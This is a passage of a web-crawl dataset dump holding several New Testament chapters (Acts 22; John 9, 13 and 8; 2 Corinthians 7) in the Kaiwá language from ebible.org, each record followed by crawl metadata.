kwaásiyo. ó'omba kawe'á umái aúramba awánaniyone súwa'a avekáámbá súramba awánamai kawe'á ówánana\n14 séna kentáá síkwá'nási Ísóigo embá usásinankaintavai kwená imáyáa kwaráníyone. kwená kawe-kwáyóná'á awáné kwenáái isé ónda po kwenáái kwaráníyone.\n15 awánáánda-yantaa isáánda-yantaa'a amápa-kwaasi simátíma'mae naaíníyone.\n16 íma úwoi maé usásine Ísóigo Ísumba ááyenana ená sáwí-imayaa mayauwáína Ísuntavai ísámai mono'-nómbá peraaó Ánánáesi simásuwowa'a mirá uráumne.\n17 mirá é'a koyauweré'a Yérúsaremuva'a tamé'a anóm-bono'-naumpa'a Áánútumpa'a námúnaa kwése'a kaainkáámbá awánaawanana\n18 Ísóigo simásimena séna Yérúsaremuva'o máyáan-kwaasi kesáái simátímínasa íma kawe'á umái isánááovo avekáámbá usásine maanká'á tuwaaó Ísóigo súwa'a\n19 Ísóigoo mono'-náúmpímpá'á kwénaae'a enááiyavai áraire sen-kwáásí táto'mai tínkambai tavisímae'a ándáva'a mátíyukaunda á'a suwánaraawe.\n20 Sítíveni enáái simátímakaiwaimba tuvúkáanka'a kemá mé'a sirunkó kawe'á kwéuwa'a tuvúkáan-kwaasiti paákár-únánkwátóira'a kárákwiraawanasa tuvúwúwana pukáiye séwánana\n21 Ísóigo séna ai'máráana usásine nánka'a ó'onkaa-kwaasi kesáái simátíma'mae naauwó Ísóigo siráiye Póro siráiye.\n22 Póro súwasa naaémbo sún-aintavesa áwáá'a sésa anónkar-anonka'a kwésesa áíke'a tuvuwíyana puwíno. mirán-kwáásí íma maambárává'á méniye\n23 anónkar-anonka'a kwésesa miwítí unáánkwátói ayúkésa awáávána kwéesa ovaí káúresa óipa'a kwéiyaata uwaná\n24 Árómáani-anondako i-kwáásíyávéna séna áí'mae'a kentí naaúmpa'a íyóro súwasa mirá uwaná séna Pórombo áwíruku'a náíyana Yútaa-kwaasi tááigona ááimba sínata ísáano súwasa\n25 Póromba ándánei asááúmankesa áwíruku'a nánáe sésa uwaná i-kwáásítí kawááná'á máyowana Póro kwentávéna séna kemá Árómáani-kwaasiti aúváí-kwandaai tokáundawaimba ímo sísaa ombá aaivimbó maisinkésamo súwíruku'a nánááon-imayaa kwéomba pósa ámáámba karésa uwóví'a ónááomba pósa íma úwoi súwíruku'a nánááowe Póro súwana\n26 iséna kwená anóndakomba kosimámena séna minkwáásí Árómáani-kwaasiti aúváí-kwandaai tokáiwaimban-ivo nóra ónaumno súwana\n27 anóndako iséna Póronopa'a téna séna Árómáani-kwaasiti aúváí-kwandaai tokáano súwana owé súwana\n28 anóndako séna kemá anón-ontamba kwétuwe'a mináúváí-kwándááí maimái tokáumne súwana Póro séna kesivo tokáimba pó'a kegwárá'á úwoi tokáumne súwasa\n29 áwíruku'a nánáe sun-kwáásí mináímbá isésa nénka'a kuwaná anóndakogwara'a áátavai éna séna Árómáani-kwaasiti aúváí-kwandaai tokáiwaimba asááúmankaunda uwóví'a úne séna áátavai uráiye.\nPóromba monor-ánón-kwáásítópa'a máánkarain-kwasai.\n30 áátavai éna usá aaváyaavimba anóndako séna Yútaa-kwaasi Pórombo simánkáan-ainkona ááimba síya'a isánáe séna mono-káwáá-kwáásíyé monor-ánón-kwáásíyávéna séna torupamái méwaro séna i-kwáásíyávéna Póro ayáámpinken-anda ayútuwaaro súwasa ayútuwowana áí'maena torupamái máyónka'a máánkaraiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC22.html","date":"2023-09-27T09:17:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510284.49\/warc\/CC-MAIN-20230927071345-20230927101345-00323.warc.gz","language":"kze","language_score":0.9999876022,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999876022338867}","num_words":489,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nÍsu aúramba kavíkówaimba kawe'á umánkarain-kwasai.\n1 Ísu kúmba moóráwaimba anówama aúgavitamba maránkarowaimba awánésa\n2 kwená kwayó-kwáásí áísaa esa sésa anóndakoo nááwana sáwí-yantaakona anondáwa aúramba kavíkáiyo. kwendéígówá'i. anóvowineigowa'iyo suwaná\n3 Ísu séna íma kwená sáwí-yantaakon-ivo íma anóvowiti sáwí-yantaakon-ivo Áánútuna kawe'-máyáí kwenane'á paárínasa awánanaaontavena aúramba kavíkáiye.\n4 si'mákaiwaina mayáíyá máyáano. sámo kainká'ó mayáímó kwémayaawanamo no'wáámbo aúráísanamo mayáímó máyáan-kanaamo ánásaintemba miráumai mayáímá mayáúnda-kanaama ánásanimba póta ívé'a Áánútuna mayáíyá mayánaumne.\n5 marapá'ó maúnda kwaási sáma kamátinkaina'a úne séna\n6 marará'á awirááíma kwi'maréna mindánei toiraambá úmarena aúranka'a a'maréna\n7 simámena séna nonkwaaúnkó áwí'a Síróamu-kwaaumpimba awaa'á koyoraaó súwana mirá uráiye. Síróamuwemo súmba kwenááivinkemba kwántámai séna ai'maráí-kwáúné súwana koyotuwéna aúramba awánamai kawe'á éna túwasa\n8 kwená naaópaken-kwaasiye ókwaasiye awánésa sésa kwemá aampa'ó ména óntantemo inaai síma sima'a indará'iyo suwasá\n9 évakarawai sésa owé kwemán-iye suwasá évakarawai sésa ímanivo mimbórá-óíkwárárá'iyo suwaná kwemá séna ímanivo kemá úne súwasa\n10 áísaa esa sésa nóra ónana aúramba kawe'á iíyo suwaná\n11 moóráwai áwí'a Ísuma kwemá awirááíma kwi'maréna mindánei toiraaní'a úmarena súranka'a a'maréna simásimena séna Síróamu-kwaaumpimba awaa'á koyoraaó sisa'á isé'a suwaa'á koyoráúnana súramba kawe'án-iye súwasa\n12 áísaa esa sésa náávara kuráiyo suwaná íma awánáúmne siráiye.\n13-14 simátimuwasa áí'maesa ámáán-kawaa-kwaasitopa'a máánkówana Ísuma toimá aúranka'a a'maréna aúramba kawe'á umánkaron-kanaama Yútaa-kwaasi monor-áímbá kwéison-kanaa mayáímá aambá áúmbakon-kanaama úwasa aúramba kawe'á umánkarowaimba áí'maesa ámáán-kawaa-kwaasitopa'a máánkówasa\n15 áísaa esa sésa nóra ónana aúramba kawe'á iíyo suwaná toimá súranka'a asínkáisa'a suwaa'á koyoráúnana súramba kawe'á umásínkáiye súwasa\n16 ámáán-kawaa-kwaasi évaka'a sésa agándaan-kanaara'o mirá uráintavena íma Áánútunopakemba kunkáiye suwasá évakarawai sésa sáwí-imayaa-kwaasimo énaraankasi íma kanaán-umai kawe'-máyáí-áwáámé'á isinó suwasá imáyáama taaínkaa'a ésa\n17 sésa enaúramba kawe'á umánkaraivo kwentáváí nóin-imayaawa kwéono áísaa esa suwaná Áánútun-aai simátímíwaiman-iye súwasa\n18 ánivo miYútáá-ánón-kwáásí aúrambo kawe'ó umánkontavesa íma imáyáa umbá anóvowi tááyowasa\n19 tuyasá tísaa esa sésa kenkáítí táánina'iyo. ánivo aúgavitana maránkaraayana'iyo. nóra ena aúramba awánamai kawe'á kwéiyo suwasaráí\n20 kesááninkain-iye. maránkarauyamba aúgavitane.\n21 ánivo ívé'a nóra isaná aúramba kawe'á umái kwéawanaiyompo kwemá anómban-ivo áísaa íyana kweyááríka'a simátimino sirááiye.\n22 ááéma Yútaa-anon-kwaasi sésa Ísuntavesa Áánútumo usásinankaiwai kwéamu'maraundawaiman-iye síyawai mono'-náúmpá'á íma iyónááowe sumbá póna minánóvówí Yútaa-anon-kwaasiyavena táá'a kówasarai\n23 sésarai anón-umaguraivo kwembá áísaa oro sirááiye.\n24 simásúwóyasa ókwara'a aúramba kawe'á umánkarowaimba ááyowana túwasa sésa minkwáásígó sáwí-imayaa kwéiye sewatá ísaraunda po Áánútu aúranka'a arupí umái simásimiyo suwaná\n25 sáwí-kwaasiya'i. kawe-kwáásíyá'iyo. kemá íma isáúmne. moórá-yantaatave'a isáúnda súramba kavíkwimbanivo ívé'a súramba awánáúmne súwasa\n26 nóraumai aúramba kawe'á umánkaraiyo áísaa esa suwaná\n27 á'a simátimundanivo íma ísáawe. ókwara'o simátimena'o é'a isánááoo. kwenaráái kwaránáemo sé'a kwená kwayó-kwáásí-í'a ónááowe súwasa\n28 aká'áámba simánkesa sésa emá kwenaráái kwaráampo kesáámá Mósesi arááíya kwégwaraumne.\n29 Áánútu Mósesimba aaí simámakaivo minkwáásí náávaken-kwaasiya'iyo suwaná\n30 mindá'á mirá séna kemá mirá sembánivo minkwáásí ó'oran-kwaasin-iye. kemá súramba kawe'á umásínkaraisa'a súne.\n31-33 kwemó ímo Áánútunopakembo kunkénaraankasi íma mirá uráisino. Áánútuma sáwí-imayaa kwéowai tááima íma kwéisaivo kwená mayáímó máyáawai tááima kwéisaiye. Áánútu áwí'o mósá maráawai tááima kwéisaiye. maambárámó úmaronkakemba íma moórá-augavitan-kwaasi máyáísana kawe'á umánkaraiye sewa'á kwéisaumne súwasa\n34 enanóma aampa'á maránkaraisa po úwoivaken-kwaasima éma enáái kentáá kawe-kwáásíyá kwésimasimendayaanivo mono'-náúmpákémbá kunákárúwaao suwaná kunákárúwaraiye.\n35 minkákémbá Ísu ai'mátukaan-aimba iséna avakáá-umai awánéna áísaa ena séna kwíyómpakemba kwaási úrandakona arááíya kwégwaraano súwana\n36 Ísuntavena séna anóndakoo emó sénda nááwawa'iyo. simásímína'a kwenaráái kwáráano súwana\n37 Ísu séna á'o aúrambo suwánáánda kemá úne súwana\n38 emá Ísóigoma óne séna kívairena kwená imáyáa mósá makáiye.\n39 kwená imáyáa mósá marówana Ísu séna marapá'á kunkáunda pósa kwaási avuntambá taaínkaa'a ónááowe. túrambo kavíkáindawai túramba kawe'á umái awánáíyasa túrambo awánemayaiyawai túramba kaviyíníye súwasa\n40 ámáán-kawaa-kwaasimo évaka'o máyówai isésa áísaa esa sésa ewá séwa kentááyavaiya túramba kavíkáiwai owéwá seénó suwaná\n41 Ísu séna túrambo kavíkáawaimo máyáankakai kentí sáwí-imayaagona meéyámbá íma kwáyáisino. áta awánáúmne sentávéna kentí sáwí-imayaagona meéyámbá kwáyáiye Ísu siráiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN9.html","date":"2023-10-02T10:26:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510994.61\/warc\/CC-MAIN-20231002100910-20231002130910-00116.warc.gz","language":"kze","language_score":0.9999884367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999884366989136}","num_words":548,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13\nÍsu kwená kwaási tísamaira'a nombá pétinkarain-kwasai.\n1 tíyótaasa í-tánón-kánáá aaváyaaraamba kwáyowana ívékaamba Ísu imáyáama éna séna marapá'á tuwé'a kesivonópa'a kuntauweré'a iyónaunda-kanaama kwétiye séna marapá-kwáásí kwenááima ísón-kwaasi ávááraumai imáyáama tiména miwíyáváíyé séna puwíníye súwana\n2 Sáátáánigo Sáímoni ááninkomba áwí'a Yútási Isakéríótimba Ísuna kuntaru'á uwó-ímáyáámá ámakowasa Ísuwe kwená kwayó-kwáásíyé toómbá kwénowana\n3 avowámá amápar-asirayamba ámakowana póna Áánútunopakemba kunkáunda pó'a kuntauweré'a iyónaumne-imayaama Ísu éna póna\n4 toómbá némáyonkakemba usásinena paákákén-únánkwátói ayú'marena táúri úsúmaena\n5 táávepimba nombá atímarena kwená kwayó-kwáásí tísamaira'a nombá pétinkena táúrinei uwátuwena\n6 Ísuma Sáímoni Pítaanopa'a túwana séna Ísóigoo íma kesísamaira'a nombá pésinkaao súwana\n7 Ísu séna kemó úndama ívé'a íma kwéisaanda po aáno isáníyone súwana\n8 Pítaa séna kesísamaira'o nombó pésinkendayave'a a'áo síma sima'a ónaumne súwana Ísu séna enaísamaira'o ímo nombó pérankaanamo éma kesí kwaási-i'a íma íníyone súwana\n9 Pítaa séna Ísóigoo ená kwaási-i'a ónáe súmpo sísamairare su'mai íma pésinkenda síyayaampakwara si'nómpákwárá'á nombá pésinkaao súwana\n10 Ísu séna nombó pékaawaimo ésa íma amápa-kuva'a nombá peránááovo tísamairare su'mai nombá peránááowe. keinárawa'a nombá pétasaawana kímborawai íma nombá pékaiye súmba\n11 Ísu kwená kuntaru-kwáásígómbá ísarontavena séna keinárawa'a nombá pétasaawana kímborawai íma nombá pékaiye siráiye.\n12 Ísu simásuwena tísamaira'a nombá pétinkayuwena paákákén-únánkwátóimo ayú'maromba maimái úmaena ménamo toómbó némáyopa'a kwéna tísaa ena séna kemó úndawaina ááimba ára kwéisaao.\n13 kentávé'a sé'a amápa-tantaa'a agaráásinkaandawaima Ísóigoma ónemo sembá árai'a mirán-kwáásímá úne.\n14 kemá kentí agaráátinkaina'a Ísóigoma pó'a tísamaira'a nombá kwévetinkaundayave'a kemá moórá-mora-umai nombá pétinkaaro.\n15 kemó kentí kwayó'ó maráúndantemba keinárawakwara'a mirán-oro.\n16 árai'a simátime'a sé'a kwayó-kwáásímó ésa miwítí anón-kwaasigomba íma usáyaaitanaaowe. ti'mákaiwain-aai maimaésa kosimátímakaawaimo ésa ti'mákaiwaimba íma usáyaaitanaaowe.\n17 miráumai kemó uráunda á'a awánaraavo mirámó íyambo é'a tirumbá kawe'á ónááowe.\n18 keinárawapinkemba íma amáparawaiyave'a súmpo ítátinkaunda-kwaasi á'a túyaraumne. Áánútun-aai aúváívimba agaimaréna séna kesé moórávinkembo toómbó naráiwaima kesí kuntaru-kwáásímán-iye agaimaréna siráimba árai'a siráiye.\n19 íma paáruraisa'a simátimunda póna aánomo paárína'a kentávé'a sé'a árai'a séna Áánútunopakemba kunkáiye sénááowe.\n20 árai'a simátime'a sé'a ti'máráanasa kwíyawai táái ísámai kawe'á íyanten-umai kesáái ísámai kawe'á ónááowe. kesááimo isáíyanten-umai si'mákaiwain-aai isánááowe Ísu siráiye.\nmoóráwai kesí kuntaru'á íníye Ísu siráin-kwasai.\nMátíyu 26:20-25, Mááka 14:17-21, Árúku 22:21-23\n21 Ísu simásuwena kwenarumbá umbaí tówana séna árai'a simátime'a sé'a keinárawapinkemba moóráwai kembá namuro-kwáásírá'á agaráátinkaniye súwata\n22 kwená kwayó-kwáásí moórá-mora-umai méta kwenaúvínaayaivimba éta nááwantavena siíyó séta\n23 kwená kwayó-kwáásí Ísuma kembá arumbá símakowaima Ísuna egwaa'á máyaawanana\n24 Sáímoni Pítaa kentávéna aúwánáán-awaame'a éna séna nááwantavai seénó se áísaa uwo súwa'a\n25 avakáá-umai áísaa e'a sé'a Ísóigoo emó sénda nááwa'iyo séwánana\n26 Ísu séna kemó toómbó nompí tu'mái aménaunda-kwaasi kwemán-iye séna toómbá maimaéna nompímbá tu'mái mindá'á Sáímoni Isakéríóti ááninko áwí'a Yútásimba amúwana\n27 mintómbá mayówana Sáátáánigo kwenarumpimbá iyúwana Ísu simámena séna emó ónáe sindaí'a maaránka'a uwó Ísu súwasa\n28 toómbó kwénaapa'o máyón-kwaasi Ísumo sún-ainkona ááimba íma ísámai kawer-umbá\n29 sésa Yútási óntanka'a tavíkówaintavena Ísu séna ímo óísambo makáan-kwaasi évaka'a timiyó Ísu siyé sésa tanómbo káúvón-kanaaratavai sésa toómbá meéyán-uwo Ísu siyé suwaná\n30 Yútási Ísumo amún-tomba maimaéna avekáán-umai máápa'a kumúwana túnkuraiye.\naúná-amaambo simátímakain-kwasai.\n31 Yútási máápa'a kumúwana Ísu séna ívé'a kwaási úrandako súwí'a anómba umái kwévaarisana kesí mayáígómá Áánútu áwí'a anómba umái kwévaariye.\n32 kesí mayáígómá Áánútu áwí'a anómba intembá ívé'a Áánútu kesúwí'a anómba íníye.\n33 kesí iyámpóíyono. sáwíyanka'a kesé mé'a tiyúwáana'a sivakáá ónááowe. Yútaa-kwaasiyave'o á'o simátime'o súndantemba kentávé'a sé'a íyóndara'a íma kanaán-umai iyónááowe.\n34 aúná-amaamba simátíména'a kesirumbó timúndanten-umai moórá-mora-umai kentirumbá tíméro.\n35 moórá-mora-umaimo kentirumbó timíyasamo ésa tuwánésa sésa Ísuna kwayó-kwáásín-owe sénááowe Ísu siráiye.\nPítaa ánaaemba umásinkaniye siráin-kwasai.\nMátíyu 26:31-35, Mááka 14:27-31, Árúku 22:31-34\n36 Ísu simásuwowana Sáímoni Pítaa áísaa ena séna Ísóigoo náávara iyíníyono súwana íyóndara'a ívé'a íma sínaaemba kwaráníyompo aáno sínaaemba kwaráníyone súwana\n37 Pítaa séna Ísóigoo nóintavaiya ívé'a íma ánaaemba kwaránaumno. íma pó'a áwa'naa umai púwónana kawe'á íníye súwana\n38 Ísu séna áwa'naa umai puwónaumnemo sénda kemá árai'a simáme'a sé'a kokórigomo ímo ááimo siráindara'a kaumborá'á kentáváí séma íma awánáúnda-kwaasiye síníyone Ísu siráiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN13.html","date":"2023-10-02T10:31:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510994.61\/warc\/CC-MAIN-20231002100910-20231002130910-00863.warc.gz","language":"kze","language_score":0.9999665022,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999665021896362}","num_words":569,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.239,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\n1 kesí kwaási ísáaro. Áánútu kentááyávéna imáyáa éna mináímbá simái tarúmakaintaveta kesúrake-sawi-yantaare kentáásí imáyáavinke-sawi-yantaare sínaaemba umámeta kawe'á umáíya méta Áánútu aúranka'a sáá'a kwégaisata Áánútundei-i'a umái méta kaweré su'maiya éta miráyá onó.\nPóro arunkó aamoí uráin-kwasai.\n2 kentááyávé'a íma kayoré'a kentáásí imáyáa úwoi oró. íma sáwí'a umátinkaawanasaya sáwí-amba kwakáawe. íma kampa'á simátiyuweta miwítí óísanta íma mémairaumne.\n3 mináímbó simátimunda íma aaivimbá kwémaitinke'a súne. kentí imáyáa kwéundaya simátimeta ókwara'a miráyá kwéune séta úwoimo máyaundaya kentí imáyáa kwéeta puwónaunda-kanaa tínímba úwoi kentí imáyáa kwéonanaya tíníye.\n4 árai'a kawe'á umái máyáawe asiramái sé'a kentúwí'a mósá kwémaraumne. anón-umbai-yantaa'a kentáásópa'a kwétimba mindáyave'a íma imáyáa é'a kentí imáyáa únana kentááigo asiramásínkáísana sirunkó ávááraumai aamoí kwéiye.\n5 Táróasi-naopa'a tuwéta Másétóniyaa-marava'a tamáyaawanda íma kawe-kánáá úwata máyaawanasaya amápa'-naopimpa'a kae'náé'a ésa aaisambá kwésuwana kentáásí mayáíyávéna kentáásirunko umbaí kwétowana\n6 Áánútu tirunkó umbaí kwétain-kwaasi tiráváyáiwai kwemá sirávayanintavena Táításimba ai'marówana keinárawa'a tiyuwéna kentáásópa'a téna\n7 maavá'ó túntaveta aamoí éta keinárawatemo máyon-kawer-aimba simásimuntavetaagwara'a aamoí ówánanaya keinárawa'a kentáá suwánanae siráamba tasimásimenaya sáwí'o uráantavenamo kentirunkó umbaimó taráimba tasimásimenaya kentávésamo kampar-áímbó sen-kwáásí táái anondá simátímakaamba tasimásimenaya mirán-áíntómbá tasimásimuwata isááwánanaya kentáásirunko aamoí uráiye.\n8 aúvái agaimái timé'a asiramái sé'a ó'a íma mirán-oro siráunda minaúváí awánowana sáwíyanka'a kentirunkó umbaí tówa'a mináímbá isé'a mináúváí agairáundayavena sirumbá umátinke'a ívé'a sirunkó íma umbaí téna\n9 kawe'á kwéiye. kentirunkó umbaí tóntave'a íma aamoí é'a kentirunkó umbaí tówa'a sáwí'o uráambo tínaaembo umámakaantave'a aamoí kwéune. sáwí'o kwéontavena tirunkó umbaí taíno Áánútu kwésiye. mindáyave'a mináúváí agaimái tímakaunda íma sáwí'a umátínkaraumne.\n10 Áánútu tirumbá umbaí tamátinkaiwai sáwí'o kwéomba tínaaemba umámewana sáwí'o umáímo máyáampinkemba Áánútu tiréna kawepá'á mógwétinkaisana mindáyavena tirunkó íma sáwí'a kwéivo marapá-kwáásí Áánútuntavesa íma imáyáa kwéowai tirunkó umbaí tainká'á sáwí'o kwéomba íma tínaaemba umámesa úwoi sáwí'a ésa Áánútuna némpa'a maí'mai'a ónááowe.\n11 sáwí'o uráantavena Áánútu kentirumbá umbaí tamátínkaraimba pó'a kawe'á uráamba imáyáa oró. keinárawapinkemba moóráwai sáwí'a uráimba íma asiramái simámake'a tímakaunda-auvai-aimba isé'a sé'a arupí umátinketa kawer-ámbá kwáráano sé'a sáwí'o uráantave'a tigaeyávé'a é'a sáwí-meyambo kentópa'o tíníntave'a táátave'a é'a sé'a arupí umátínkáanana Póromo ménamo éna súwa'naa íníye sé'a sáwí'o uráiwaimba ááéma sáwí-meyamba amé'a keinárawapinke-sawi-imayaa arupí umátinke'a mirá uráamba ánásaraiye-aimba ísaraumne.\n12 mináúváí agaimái tímakaunda sáwí'o uráin-kwaasigontave'a íma aiva'á imáyáa é'a sáwí'o umánkarain-ininkontave'a íma aiva'á imáyáa é'a íma mirá uráumpo Áánútu aúranka'a kentááyávé'a anón-imayaa é'a kentááyávé'a sé'a miwíyávéta anón-imayaaya kwéune sénááontave'a mináúváí agaimái tímakaumne.\n13 mináúváímó tímakaundanteni'o uráamba kentáásí imáyáa kawe'á umásínkaraawe.\nTáításimba ai'marááwánanaya kentópa'a koména kwenarunkó umbaí kwétowana túwa'naa úwa'a kawe'á uwaná aamoí éna kwenarunkó kawe'á úwana kentáásópa'a téna tasimásimuwata iséta mindáyavetaagwara'a aamoiyá kwéune.\n14 ááéma Táítási aúranka'a kentúma maé iráunana simátímakaunda-aimbo árair-aimbo siráundantemba Táításimbo kentááimo simámakaunda-aimba árair-aimban-iye. Táítási keinárawate koména kemó kentááimo simámakaunda-aintavena árair-aimba siráiye siráimba mindáyave'a íma sigaeyávé'a kwéune.\n15 Táítási keinárawate komáyowa'a kwentávé'a aamoí é'a táátave'a é'a tiyántámbá kwétowa'a kwenáái isé'a mirá uwaná mindáyavena Táítási imáyáa éna arumbá kwétimiye.\n16 keinárawatave'a sé'a amápa'-mayaimo ésa kawe'á úmae iyónááowe kwésunana sirunkó kawe'á kwéiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/C27.html","date":"2023-09-25T02:57:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506676.95\/warc\/CC-MAIN-20230925015430-20230925045430-00565.warc.gz","language":"kze","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000011920928955}","num_words":440,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nmoórá-ininko ó'on-kwaasiye máyon-kwasai.\n1 Óríve-omapa'a Ísu uména\n2 aaváyaavimba kuména anóm-bono'-naumpa'a umáyowasa kwaásiyomba kwenópa'a torupowaná mara'á ména kwenáái simátimuwasa\n3 ámáámba sun-kwáásíyé ámáán-kawaa-kwaasiye aaraí áí'maesa minínínkó ó'on-kwaasiye máyomba pósa áí'mai amáparawai túranka'a ankésa\n4 Ísuntavesa sésa anóndakoo minínímbá ó'on-kwaasiye máyáísata awánéta táto'mai áí'maeta túne.\n5 ámáán-auvaivimba Mósesi agaimaréna séna mirámó índawaimba óntandei tuvúwónanaya puwíníye agaimaréna siráiye. nóran-imayaa éwa seénó sésa\n6 Ísumba maka sésa mirá senaná paárínata kwembá aaivimbá mayankánáe sésa suwaná Ísu kívairena ayáánauvi'nei marará'á aúvái agaimarówasa\n7 áísaa aisaa uwaná usásinena simátimena séna imó sáwí'o uráindawai aivar-óntámbá maimé tuvuwíno simátimena\n8 moórágwara'a kívairena ayáánauvi'nei marará'á aúvái agaimarówasa\n9 isésa moórá-mora-kwaasi kunákárúwasowana anón-kwaasi aiva'á kumúwasa miwán-ánaaemba kwa'maésa kúmúwana minínínkówé su'mai Ísuwe máyowana\n10 usásinena áísaa ena séna náávara máyaao. amáparawai íma aaivimbá mayankánááoo súwana\n11 owé íma aaivimbá maisinkánááowe súwana kegwárá'á íma aaivimbá mayankáúna kómpo moórágwara'a íma mirán-uwo Ísu siráiye.\nkwaási sáma kamátinkaina'a úne Ísu siráin-kwasai.\n12 ókwara'a Ísu kwenáái simátimena séna kwaási sáma kamátinkaina'a úne. kesínaaembo kwaráíyawai íma tunínívo sáma kamái maí'mai'a ónááowe súwasa\n13 ámáán-kawaa-kwaasi sésa eyáá ená ááimba séndamanivo íma árai'a kwésene suwaná\n14 Ísu séna ímanivo kesááigona ááimba árai'a kwésune. á'a awánáúndavakemba kunkáundayavai á'a awánáúndava'a iyónaunda pó'a kemá súnda-aimba árai'a kwésune. kesí ááimba íma suwánaraawe.\n15 marapá-kwáásí kentí imáyáavinkemba aaimá maisínkaavo kemá íma aaimá kwémaitinkaumne.\n16 kemó aaimó maitinkáundarakai arupí úsino. íma kewé su'mai aaivimbá maitinkánaumpo kesé kesivoé aaivimbá maitinkáyauye. miráumai kemó aaimó maitinkáundarakai arupí úsino.\n17 kentí ámáán-auvaivimba agaimaréna séna kae-kwáásíráí moórá-aimbo séyambo ékai mináímbá árai'a kwéseye agaimaréna siráiye.\n18 miráumai kemá kesáváí simátimunana kesivoé kesé mimbórá-áímbá simátimuyamba póna árair-aimban-iye súwasa\n19 enavomá náávara máyáiyo áísaa esa suwaná kesí ááimbo ímo suwánaantavai kesivombá íma kwéawanaawe. kesí ááimbo suwánaankakenkai kesivombá awánaasino Ísu súmba\n20 anóm-bono'-naumpa'a óntambo túwón-daumpa'a mináímbá simátimuwasa tátoranae sésa suwááesa kwená kanaamá íma túntavesa íma tátokaawe.\n21 minkákémbá Ísu simátimena séna tiyuwé'a íyóna'a sivakáá uwááe'a íma suwánanaaowe. puwíyamba kentí sáwí-imayaa kwáyáina'a puwónááowe. íyóndava'a íma kanaán-umai iyónááowe súwasa\n22 Yútaa-anon-kwaasi sésa kwemá séna íyóndava'a íma kanaán-umai iyónááowe simbá póna kweyááríkara puwíndayavena siíyo suwaná\n23 Ísu séna keinárawa'a maankákén-kwáásímán-ovo kemá sanaankéndá'á úne. keinárawa'a marapákén-kwáásímán-ovo kemá kwíyómpakenda'a úne.\n24 simátime'a sé'a puwíyamba kentí sáwí-imayaa kwáyáina'a puwónááowe. kemá kwíyómpakenda'a úmpo kentávé'o ímo áraire sé'o é'a kentí sáwí-imayaa kwáyáina'a puwónááowe súwasa\n25 mináínkóná ááimba íma ísámai áísaa esa sésa nááwawa oónó suwaná Ísu séna aasiyaasi-táwai á'a simátímakaumne.\n26 keinárawatave'a sáwívar-aimba kanaán-umai sé'a aaivimbá maitinkáundanivo si'mákaiwaina aaiyé su'mai amáparawaiyave'a kwésimatimune. kwemó arupí iwáín-áái kwésimatimune súwasa\n27 Áánútun-aaima súmbanivo íma ísówana\n28 mindáyavai Ísu séna kemá kwaási úranda'a kumpaáruraundawai sí'mae'a taaira'á mói sínkamonaaomba pó'a suwáné'a sé'a kwemó siwáímá kwená imáyáavinkemba íma sivo avowamá simámakain-aimpinkemba siráiye mirá sénááowe.\n29 si'mákaiwai aamoí ínkwáe-i'a úmae kwéiyunda póna íma siyuwéna kesé máyáiye súwasa\n30 sáwíva-kwaasi isésa kwentávésa árai'a kwíyómpakenda'an-iye siráawe.\ntátokaawanamo Ísu ayútínkáin-kwasai.\n31 Ísuma Yútaa-anon-kwaasi kwentávésa árai'a kwíyómpakenda'a iyémó sirówaiyavena séna kesááimo ísámaimo kawe'ó é'o é'a kesí kwaási aú'mái ménaaowe.\n32 árair-aimba íséwana tátokaiyampinkemba mináráír-áínkó ayútinkaniye súwasa\n33 Ááváramun-andaraken-kwaasi únda póta íma ó'on-kwaasi tátokaawe. nóra se ayútinkaniye seénó suwaná\n34 Ísu séna árai'a simátime'a sé'a sáwí'o kwéowaima misáwíkómá kembá kwétatoraiye. kesí mayáí úwoi mayáígwáe sésa meéyámba'mai tátokaantenkaan-kwaasin-owe.\n35 mirán-kwáásí kawáánákóná naaúmpa'a íma maí'mai'a ónááovo kwenáánimbaa'a maí'mai'a ónááowe.\n36 kemó Áánútu ááninkomo ayútínkáana'o é'a ayútuwe'a ménaaowe.\n37 Ááváramun-andaraken-kwaasi ombánivo kesáái íma tirumpimbá kwáyáintave'a tuvuwónáe kwésewe.\n38 kesivo agaráásínkáin-aimba kwésumpo kentivomá simátímín-aimba kwésewe súwasa\n39 Ááváramu kentáásivoman-iye suwaná Ááváramun-andarakewaimo ékai Ááváramumo úntemba mirá uráasino.\n40 Áánútu árair-aimba simásímakaimba simátimundanivo tuvuwónáe kwésewe. Ááváramu íma mirá uráivo\n41 kentivomó uráintemba mirá kwéowe súwasa kesáámá íma kesinóma eénkwááírákémbá kentáá masínkaraiye. kentáásivoma mimbóráwáí Áánútuman-iye suwaná\n42 Áánútunopakemba kunkáunda pó'a Áánútu 